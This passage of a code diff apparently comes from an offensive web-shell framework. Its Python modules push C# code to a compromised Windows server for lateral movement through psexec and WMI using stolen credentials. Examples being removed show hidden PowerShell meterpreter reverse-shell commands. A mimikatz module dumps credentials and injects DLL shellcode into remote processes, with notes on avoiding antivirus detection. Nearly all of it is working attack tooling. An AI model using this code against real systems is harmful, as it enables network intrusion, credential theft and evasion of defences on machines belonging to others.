output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
using (safeTokenHandle)
|
|
||||||
{
|
|
||||||
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
|
|
||||||
{
|
|
||||||
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
|
|
||||||
{
|
|
||||||
IntPtr Token = new IntPtr(0);
|
|
||||||
IntPtr DupedToken = new IntPtr(0);
|
|
||||||
bool ret;
|
|
||||||
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
|
|
||||||
sa.bInheritHandle = false;
|
|
||||||
sa.Length = Marshal.SizeOf(sa);
|
|
||||||
sa.lpSecurityDescriptor = (IntPtr)0;
|
|
||||||
Token = WindowsIdentity.GetCurrent().Token;
|
|
||||||
const uint GENERIC_ALL = 0x10000000;
|
|
||||||
const int SecurityImpersonation = 2;
|
|
||||||
const int TokenType = 1;
|
|
||||||
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
|
|
||||||
if (ret == false){
|
|
||||||
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
STARTUPINFO si = new STARTUPINFO();
|
|
||||||
si.cb = Marshal.SizeOf(si);
|
|
||||||
si.lpDesktop = "";
|
|
||||||
string commandLinePath = "";
|
|
||||||
File.Create(stdout_file).Dispose();
|
|
||||||
File.Create(stderr_file).Dispose();
|
|
||||||
string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec");
|
|
||||||
commandLinePath = cmd_path + " /c " + psexec_path + " " + psexec_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
|
|
||||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
|
||||||
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
|
|
||||||
if (ret == false){
|
|
||||||
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
|
|
||||||
if(wait_for == WAIT_OBJECT_0){
|
|
||||||
string errors = File.ReadAllText(stderr_file);
|
|
||||||
if (!String.IsNullOrEmpty(errors))
|
|
||||||
output += "\n" + errors;
|
|
||||||
output += "\n" + File.ReadAllText(stdout_file);
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
|
|
||||||
}
|
|
||||||
File.Delete(stdout_file);
|
|
||||||
File.Delete(stderr_file);
|
|
||||||
CloseHandle(pi.hProcess);
|
|
||||||
CloseHandle(pi.hThread);
|
|
||||||
}
|
|
||||||
CloseHandle(DupedToken);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex)
|
|
||||||
{
|
|
||||||
output += error_string + "\nException occurred. " + ex.Message;
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] ExecRuntime()
|
|
||||||
{
|
|
||||||
string output_func=LateralPsexecRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
|
|
||||||
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
|
|
||||||
return(output_func_byte);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
"""
|
|
||||||
|
|
||||||
__default_runas_system = 'false'
|
|
||||||
__default_local_user = ''
|
|
||||||
__default_local_password = ''
|
|
||||||
__default_local_domain = ''
|
|
||||||
__psexec_code_arguments = ur'-accepteula \\%s -u ""%s"" -p ""%s"" %s cmd /c ""%s""'
|
|
||||||
|
|
||||||
def __init__(self, password, channel_enc_mode, module_settings, request_object):
|
|
||||||
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
|
|
||||||
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
|
|
||||||
|
|
||||||
def __lookup_psexec_binary(self):
|
|
||||||
if 'psexec.exe' in self._module_settings.keys():
|
|
||||||
bin_path = self._module_settings['psexec.exe']
|
|
||||||
else:
|
|
||||||
exe_path = config.modules_paths + 'exe_modules/psexec.exe'
|
|
||||||
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
|
|
||||||
print '\n\n\nUploading psexec binary....\n'
|
|
||||||
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
|
|
||||||
print upload_response
|
|
||||||
self._module_settings['psexec.exe'] = remote_upload_path
|
|
||||||
bin_path = remote_upload_path
|
|
||||||
return bin_path
|
|
||||||
|
|
||||||
def __run_as_current_user(self, psexec_path, psexec_code_arguments):
|
|
||||||
request = self._create_request([psexec_code_arguments, psexec_path, 'current_user'])
|
|
||||||
encrypted_request = self._encrypt_request(request)
|
|
||||||
encrypted_response = self._post_request(encrypted_request)
|
|
||||||
decrypted_response = self._decrypt_response(encrypted_response)
|
|
||||||
return decrypted_response
|
|
||||||
|
|
||||||
def __run_as(self, psexec_path, psexec_code_arguments, local_user, local_password, local_domain):
|
|
||||||
request = self._create_request([[psexec_code_arguments, local_user, local_password, local_domain],
|
|
||||||
psexec_path, 'runas'])
|
|
||||||
encrypted_request = self._encrypt_request(request)
|
|
||||||
encrypted_response = self._post_request(encrypted_request)
|
|
||||||
decrypted_response = self._decrypt_response(encrypted_response)
|
|
||||||
return decrypted_response
|
|
||||||
|
|
||||||
def __parse_run_args(self, args):
|
|
||||||
if len(args) < 4:
|
|
||||||
raise self._exception_class('#lateral_psexec: Not enough arguments. 4 Arguments required.\n')
|
|
||||||
args_parser = {k: v for k, v in enumerate(args)}
|
|
||||||
target_ip = args_parser.get(0)
|
|
||||||
username = args_parser.get(1)
|
|
||||||
password = args_parser.get(2)
|
|
||||||
command = args_parser.get(3)
|
|
||||||
runas_system = args_parser.get(4, self.__default_runas_system)
|
|
||||||
local_user = args_parser.get(5, self.__default_local_user)
|
|
||||||
local_password = args_parser.get(6, self.__default_local_password)
|
|
||||||
local_domain = args_parser.get(7, self.__default_local_domain)
|
|
||||||
return target_ip, username, password, command, runas_system, local_user, local_password, local_domain
|
|
||||||
|
|
||||||
def _create_request(self, args):
|
|
||||||
arguments, psexec_path, request_type = args
|
|
||||||
working_path = self._module_settings['working_directory']
|
|
||||||
if request_type == 'runas':
|
|
||||||
psexec_code_arguments, local_user, local_password, local_domain = arguments
|
|
||||||
stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
|
||||||
stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
|
||||||
request = self._runtime_code_runas % (psexec_path, local_user, local_password, local_domain,
|
|
||||||
psexec_code_arguments, stdout_file, stderr_file, working_path)
|
|
||||||
else:
|
|
||||||
psexec_code_arguments = arguments
|
|
||||||
request = self._runtime_code % (psexec_path, psexec_code_arguments, working_path)
|
|
||||||
return request
|
|
||||||
|
|
||||||
def run(self, args):
|
|
||||||
try:
|
|
||||||
target_ip, username, password, command, runas_system,\
|
|
||||||
local_user, local_password, local_domain = self.__parse_run_args(args)
|
|
||||||
psexec_priv_flag = '-s' if runas_system == 'true' else '-h'
|
|
||||||
psexec_code_arguments = self.__psexec_code_arguments % (target_ip, username,
|
|
||||||
password, psexec_priv_flag, command)
|
|
||||||
psexec_path = self.__lookup_psexec_binary()
|
|
||||||
if local_user == '':
|
|
||||||
response = self.__run_as_current_user(psexec_path, psexec_code_arguments)
|
|
||||||
else:
|
|
||||||
response = self.__run_as(psexec_path, psexec_code_arguments, local_user, local_password, local_domain)
|
|
||||||
parsed_response = self._parse_response(response)
|
|
||||||
except ModuleException as module_exc:
|
|
||||||
parsed_response = str(module_exc)
|
|
||||||
except Exception:
|
|
||||||
parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
|
|
||||||
str(traceback.format_exc())
|
|
||||||
return parsed_response
|
|
||||||
+10
-222
@@ -14,8 +14,8 @@ class Lateral_wmi(Module):
|
|||||||
This module run a wmic /node:[ip] command in order to launch commands on a remote windows system.
|
This module run a wmic /node:[ip] command in order to launch commands on a remote windows system.
|
||||||
This will result in a lateral movement if shared credentials are known.
|
This will result in a lateral movement if shared credentials are known.
|
||||||
|
|
||||||
Note that if you use local users credentials you should ensure that, on the target server, the feature
|
Note that if you use local admin credentials you should ensure that, on the target server, the feature
|
||||||
"LocalAccountTokenFilterPolicy" is disabled.
|
"LocalAccountTokenFilterPolicy" is disabled. (except for builtin Administrator)
|
||||||
To disable that you need to add the following regkey with the value of 1:
|
To disable that you need to add the following regkey with the value of 1:
|
||||||
|
|
||||||
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
|
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
|
||||||
@@ -24,16 +24,11 @@ class Lateral_wmi(Module):
|
|||||||
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
||||||
|
|
||||||
If you use domain users for the lateral movement, no restrictions to the process token will be applied.
|
If you use domain users for the lateral movement, no restrictions to the process token will be applied.
|
||||||
|
Remember to always specify the domain in the username field. If you use a local account use the machine name as the domain.
|
||||||
|
|
||||||
This module uses WMI builtin features wmi and doesn't need additional files to be droppend on the target
|
This module uses WMI builtin features wmi and doesn't need additional files to be droppend on the target
|
||||||
server.
|
server.
|
||||||
|
|
||||||
Moreover this module should be run from a privileged user.
|
|
||||||
If the application pool within the web application you are interacting with is run with application pool
|
|
||||||
identity account or any limited account you won't be able to move laterally to other systems
|
|
||||||
due to restrictions applied to the user.
|
|
||||||
In those cases, you need to use different credentials of a more privileged user in order to launch this module.
|
|
||||||
|
|
||||||
Note that, wmi commands don't return stdout/stderr output from the execution of remote processes.
|
Note that, wmi commands don't return stdout/stderr output from the execution of remote processes.
|
||||||
You should redirect output to a shared resource (i.e. local share with everyone permission) or just spawn
|
You should redirect output to a shared resource (i.e. local share with everyone permission) or just spawn
|
||||||
reverse/bind shell.
|
reverse/bind shell.
|
||||||
@@ -47,21 +42,14 @@ class Lateral_wmi(Module):
|
|||||||
you can specify domain\username if user is in a domain
|
you can specify domain\username if user is in a domain
|
||||||
password password of the user to use to login on the target server
|
password password of the user to use to login on the target server
|
||||||
command a command compatible by cmd.exe
|
command a command compatible by cmd.exe
|
||||||
[local_user] the username of a local user with privileged rights
|
|
||||||
[local_password] the password of a local user with privileged rights
|
|
||||||
[local_domain] the domain of a local user with privileged rights
|
|
||||||
|
|
||||||
Examples:
|
Examples:
|
||||||
Lateral movement as privileged current application pool user, output to local shared resource:
|
Lateral movement as privileged current application pool user, output to local shared resource:
|
||||||
#lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt'
|
#lateral_wmi 192.168.56.102 'domain\remote_user1' 'remote_password1' 'whoami /all > C:\Windows\Temp\whoami.txt'
|
||||||
Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
|
|
||||||
#lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'local_privileged_user1' 'local_privileged_password1'
|
|
||||||
Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
|
|
||||||
#lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
|
|
||||||
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell
|
public class SharPyShell
|
||||||
{
|
{
|
||||||
@@ -104,196 +92,10 @@ class Lateral_wmi(Module):
|
|||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_runtime_code_runas = ur"""
|
__wmi_code_arguments = r'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
|
||||||
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
|
|
||||||
|
|
||||||
public class SharPyShell
|
|
||||||
{
|
|
||||||
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
|
|
||||||
{
|
|
||||||
private SafeTokenHandle()
|
|
||||||
: base(true)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
[DllImport("kernel32.dll")]
|
|
||||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
|
|
||||||
[SuppressUnmanagedCodeSecurity]
|
|
||||||
[return: MarshalAs(UnmanagedType.Bool)]
|
|
||||||
private static extern bool CloseHandle(IntPtr handle);
|
|
||||||
|
|
||||||
protected override bool ReleaseHandle()
|
|
||||||
{
|
|
||||||
return CloseHandle(handle);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
|
|
||||||
{
|
|
||||||
public int cb;
|
|
||||||
public String lpReserved;
|
|
||||||
public String lpDesktop;
|
|
||||||
public String lpTitle;
|
|
||||||
public uint dwX;
|
|
||||||
public uint dwY;
|
|
||||||
public uint dwXSize;
|
|
||||||
public uint dwYSize;
|
|
||||||
public uint dwXCountChars;
|
|
||||||
public uint dwYCountChars;
|
|
||||||
public uint dwFillAttribute;
|
|
||||||
public uint dwFlags;
|
|
||||||
public short wShowWindow;
|
|
||||||
public short cbReserved2;
|
|
||||||
public IntPtr lpReserved2;
|
|
||||||
public IntPtr hStdInput;
|
|
||||||
public IntPtr hStdOutput;
|
|
||||||
public IntPtr hStdError;
|
|
||||||
}
|
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
|
|
||||||
{
|
|
||||||
public IntPtr hProcess;
|
|
||||||
public IntPtr hThread;
|
|
||||||
public uint dwProcessId;
|
|
||||||
public uint dwThreadId;
|
|
||||||
}
|
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
|
|
||||||
{
|
|
||||||
public int Length;
|
|
||||||
public IntPtr lpSecurityDescriptor;
|
|
||||||
public bool bInheritHandle;
|
|
||||||
}
|
|
||||||
|
|
||||||
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
|
|
||||||
public static extern bool CloseHandle(IntPtr handle);
|
|
||||||
|
|
||||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
|
||||||
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
|
||||||
|
|
||||||
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
|
|
||||||
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
|
||||||
|
|
||||||
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
|
|
||||||
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
|
|
||||||
|
|
||||||
[DllImport("kernel32.dll", SetLastError=true)]
|
|
||||||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
|
||||||
|
|
||||||
const uint WAIT_ABANDONED = 0x00000080;
|
|
||||||
const uint WAIT_OBJECT_0 = 0x00000000;
|
|
||||||
const uint WAIT_TIMEOUT = 0x00000102;
|
|
||||||
|
|
||||||
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
|
|
||||||
public string LateralWMIRunas(string userName, string password, string domainName, string wmi_arguments, string stdout_file, string stderr_file, string working_directory)
|
|
||||||
{
|
|
||||||
SafeTokenHandle safeTokenHandle;
|
|
||||||
int logon_type = 4;
|
|
||||||
uint process_ms_timeout = 60000;
|
|
||||||
string output = "";
|
|
||||||
string error_string = "{{{SharPyShellError}}}";
|
|
||||||
try
|
|
||||||
{
|
|
||||||
const int LOGON32_PROVIDER_DEFAULT = 0;
|
|
||||||
const int LOGON32_PROVIDER_WINNT35 = 1;
|
|
||||||
const int LOGON32_PROVIDER_WINNT40 = 2;
|
|
||||||
const int LOGON32_PROVIDER_WINNT50 = 3;
|
|
||||||
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
|
|
||||||
if (false == returnValue)
|
|
||||||
{
|
|
||||||
output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
using (safeTokenHandle)
|
|
||||||
{
|
|
||||||
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
|
|
||||||
{
|
|
||||||
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
|
|
||||||
{
|
|
||||||
IntPtr Token = new IntPtr(0);
|
|
||||||
IntPtr DupedToken = new IntPtr(0);
|
|
||||||
bool ret;
|
|
||||||
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
|
|
||||||
sa.bInheritHandle = false;
|
|
||||||
sa.Length = Marshal.SizeOf(sa);
|
|
||||||
sa.lpSecurityDescriptor = (IntPtr)0;
|
|
||||||
Token = WindowsIdentity.GetCurrent().Token;
|
|
||||||
const uint GENERIC_ALL = 0x10000000;
|
|
||||||
const int SecurityImpersonation = 2;
|
|
||||||
const int TokenType = 1;
|
|
||||||
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
|
|
||||||
if (ret == false){
|
|
||||||
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
STARTUPINFO si = new STARTUPINFO();
|
|
||||||
si.cb = Marshal.SizeOf(si);
|
|
||||||
si.lpDesktop = "";
|
|
||||||
string commandLinePath = "";
|
|
||||||
File.Create(stdout_file).Dispose();
|
|
||||||
File.Create(stderr_file).Dispose();
|
|
||||||
string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec");
|
|
||||||
string wmic_path = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\system32\\wbem\\wmic.exe";
|
|
||||||
commandLinePath = cmd_path + " /c " + wmic_path + " " + wmi_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
|
|
||||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
|
||||||
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
|
|
||||||
if (ret == false){
|
|
||||||
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
|
|
||||||
if(wait_for == WAIT_OBJECT_0){
|
|
||||||
output += "\n" + File.ReadAllText(stdout_file);
|
|
||||||
string errors = File.ReadAllText(stderr_file);
|
|
||||||
if (!String.IsNullOrEmpty(errors))
|
|
||||||
output += "\n" + errors;
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
|
|
||||||
}
|
|
||||||
File.Delete(stdout_file);
|
|
||||||
File.Delete(stderr_file);
|
|
||||||
CloseHandle(pi.hProcess);
|
|
||||||
CloseHandle(pi.hThread);
|
|
||||||
}
|
|
||||||
CloseHandle(DupedToken);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex)
|
|
||||||
{
|
|
||||||
output += error_string + "\nException occurred. " + ex.Message;
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] ExecRuntime()
|
|
||||||
{
|
|
||||||
string output_func=LateralWMIRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
|
|
||||||
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
|
|
||||||
return(output_func_byte);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
"""
|
|
||||||
|
|
||||||
__default_local_user = ''
|
|
||||||
__default_local_password = ''
|
|
||||||
__default_local_domain = ''
|
|
||||||
__wmi_code_arguments = ur'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
|
|
||||||
|
|
||||||
def __run_as_current_user(self, wmi_code_arguments):
|
def __run_as_current_user(self, wmi_code_arguments):
|
||||||
request = self._create_request([wmi_code_arguments, 'current_user'])
|
request = self._create_request(wmi_code_arguments)
|
||||||
encrypted_request = self._encrypt_request(request)
|
|
||||||
encrypted_response = self._post_request(encrypted_request)
|
|
||||||
decrypted_response = self._decrypt_response(encrypted_response)
|
|
||||||
return decrypted_response
|
|
||||||
|
|
||||||
def __run_as(self, wmi_code_arguments, local_user, local_password, local_domain):
|
|
||||||
request = self._create_request([[wmi_code_arguments, local_user, local_password, local_domain], 'runas'])
|
|
||||||
encrypted_request = self._encrypt_request(request)
|
encrypted_request = self._encrypt_request(request)
|
||||||
encrypted_response = self._post_request(encrypted_request)
|
encrypted_response = self._post_request(encrypted_request)
|
||||||
decrypted_response = self._decrypt_response(encrypted_response)
|
decrypted_response = self._decrypt_response(encrypted_response)
|
||||||
@@ -307,34 +109,20 @@ class Lateral_wmi(Module):
|
|||||||
username = args_parser.get(1)
|
username = args_parser.get(1)
|
||||||
password = args_parser.get(2)
|
password = args_parser.get(2)
|
||||||
command = args_parser.get(3)
|
command = args_parser.get(3)
|
||||||
local_user = args_parser.get(4, self.__default_local_user)
|
return target_ip, username, password, command
|
||||||
local_password = args_parser.get(5, self.__default_local_password)
|
|
||||||
local_domain = args_parser.get(6, self.__default_local_domain)
|
|
||||||
return target_ip, username, password, command, local_user, local_password, local_domain
|
|
||||||
|
|
||||||
def _create_request(self, args):
|
def _create_request(self, args):
|
||||||
arguments, request_type = args
|
arguments = args
|
||||||
working_path = self._module_settings['working_directory']
|
working_path = self._module_settings['working_directory']
|
||||||
if request_type == 'runas':
|
|
||||||
wmi_code_arguments, local_user, local_password, local_domain = arguments
|
|
||||||
stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
|
||||||
stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
|
||||||
request = self._runtime_code_runas % (local_user, local_password, local_domain, wmi_code_arguments,
|
|
||||||
stdout_file, stderr_file, working_path)
|
|
||||||
else:
|
|
||||||
wmi_code_arguments = arguments
|
wmi_code_arguments = arguments
|
||||||
request = self._runtime_code % (wmi_code_arguments, working_path)
|
request = self._runtime_code % (wmi_code_arguments, working_path)
|
||||||
return request
|
return request
|
||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
try:
|
try:
|
||||||
target_ip, username, password, command,\
|
target_ip, username, password, command = self.__parse_run_args(args)
|
||||||
local_user, local_password, local_domain = self.__parse_run_args(args)
|
|
||||||
wmi_code_arguments = self.__wmi_code_arguments % (target_ip, username, password, command)
|
wmi_code_arguments = self.__wmi_code_arguments % (target_ip, username, password, command)
|
||||||
if local_user == '':
|
|
||||||
response = self.__run_as_current_user(wmi_code_arguments)
|
response = self.__run_as_current_user(wmi_code_arguments)
|
||||||
else:
|
|
||||||
response = self.__run_as(wmi_code_arguments, local_user, local_password, local_domain)
|
|
||||||
parsed_response = self._parse_response(response)
|
parsed_response = self._parse_response(response)
|
||||||
except ModuleException as module_exc:
|
except ModuleException as module_exc:
|
||||||
parsed_response = str(module_exc)
|
parsed_response = str(module_exc)
|
||||||
|
|||||||
+42
-14
@@ -5,8 +5,10 @@ from modules.exec_cmd import Exec_cmd
|
|||||||
from modules.runas import Runas
|
from modules.runas import Runas
|
||||||
from modules.invoke_ps_module import Invoke_ps_module
|
from modules.invoke_ps_module import Invoke_ps_module
|
||||||
from modules.invoke_ps_module_as import Invoke_ps_module_as
|
from modules.invoke_ps_module_as import Invoke_ps_module_as
|
||||||
|
from modules.inject_dll_srdi import Inject_dll_srdi
|
||||||
from utils.random_string import random_generator
|
from utils.random_string import random_generator
|
||||||
import traceback
|
import traceback
|
||||||
|
import os
|
||||||
|
|
||||||
|
|
||||||
class MimikatzModuleException(ModuleException):
|
class MimikatzModuleException(ModuleException):
|
||||||
@@ -17,25 +19,30 @@ class Mimikatz(Module):
|
|||||||
_exception_class = MimikatzModuleException
|
_exception_class = MimikatzModuleException
|
||||||
short_help = "Run an offline version of mimikatz directly in memory"
|
short_help = "Run an offline version of mimikatz directly in memory"
|
||||||
complete_help = r"""
|
complete_help = r"""
|
||||||
|
Authors: @gentilkiwi @PowerShellMafia
|
||||||
|
Links: https://github.com/gentilkiwi/mimikatz
|
||||||
|
https://github.com/PowerShellMafia/PowerSploit/blob/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1
|
||||||
|
Credits: @phra
|
||||||
|
|
||||||
|
|
||||||
This module allows you to run mimikatz in a versatile way.
|
This module allows you to run mimikatz in a versatile way.
|
||||||
Within this module it is possible to run mimikatz in 2 different way:
|
Within this module it is possible to run mimikatz in 3 different ways:
|
||||||
'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
|
'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
|
||||||
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments.
|
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments;
|
||||||
|
'dll': convert mimikatz dll into a position independent shellcode and inject into a remote process.
|
||||||
It is recommended to run the ps1 version because it will be obfuscated and run from memory.
|
It is recommended to run the ps1 version because it will be obfuscated and run from memory.
|
||||||
The exe version will be just dropped as clear and could be catched by av scanners.
|
The exe version will be just dropped as clear and could be catched by av scanners.
|
||||||
Exec_Type can be 'ps1' or 'exe'.
|
The dll version is the most stealthy but it doesn't support impersonation atm.
|
||||||
|
|
||||||
Source Code:
|
|
||||||
https://github.com/gentilkiwi/mimikatz
|
|
||||||
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
|
|
||||||
|
|
||||||
Usage:
|
Usage:
|
||||||
#mimikatz [exec_type] [username] [password] [domain] [custom_command]
|
#mimikatz [exec_type] [username] [password] [domain] [custom_command]
|
||||||
|
|
||||||
Positional arguments:
|
Positional arguments:
|
||||||
exec_type type of running mimikatz.
|
exec_type execution type for running mimikatz:
|
||||||
'ps1' will upload and execute the powershell version of mimikatz
|
'ps1' will upload and execute the powershell version of mimikatz
|
||||||
'exe' will upload and execute the classic version of binary mimikatz
|
'exe' will upload and execute the classic version of binary mimikatz
|
||||||
|
'dll' will inject converted dll shellcode into a remote process
|
||||||
Default: 'ps1'
|
Default: 'ps1'
|
||||||
username username of the user to runas the process
|
username username of the user to runas the process
|
||||||
password password of the user to runas the process
|
password password of the user to runas the process
|
||||||
@@ -43,13 +50,17 @@ class Mimikatz(Module):
|
|||||||
custom_command based on exec_type, the custom command could be:
|
custom_command based on exec_type, the custom command could be:
|
||||||
- 'ps1' : powershell code to add to the ps1 mimikatz module;
|
- 'ps1' : powershell code to add to the ps1 mimikatz module;
|
||||||
- 'exe' : command line arguments to the mimikatz binary;
|
- 'exe' : command line arguments to the mimikatz binary;
|
||||||
|
- 'dll' : command line arguments to be executed.
|
||||||
Default:
|
Default:
|
||||||
'ps1': ';Invoke-Mimikatz -DumpCreds'
|
'ps1': ';Invoke-Mimikatz -DumpCreds'
|
||||||
'exe': 'privilege::debug sekurlsa::logonpasswords exit'
|
'exe': 'privilege::debug sekurlsa::logonpasswords exit'
|
||||||
|
'dll': 'privilege::debug sekurlsa::logonpasswords exit'
|
||||||
|
|
||||||
Examples:
|
Examples:
|
||||||
Run mimikatz as the current user
|
Run mimikatz as the current user
|
||||||
#mimikatz
|
#mimikatz
|
||||||
|
Run mimikatz dll
|
||||||
|
#mimikatz 'dll'
|
||||||
Run mimikatz as a specific local user
|
Run mimikatz as a specific local user
|
||||||
#mimikatz 'ps1' 'user1' 'password1'
|
#mimikatz 'ps1' 'user1' 'password1'
|
||||||
Run mimikatz as a specific domain user
|
Run mimikatz as a specific domain user
|
||||||
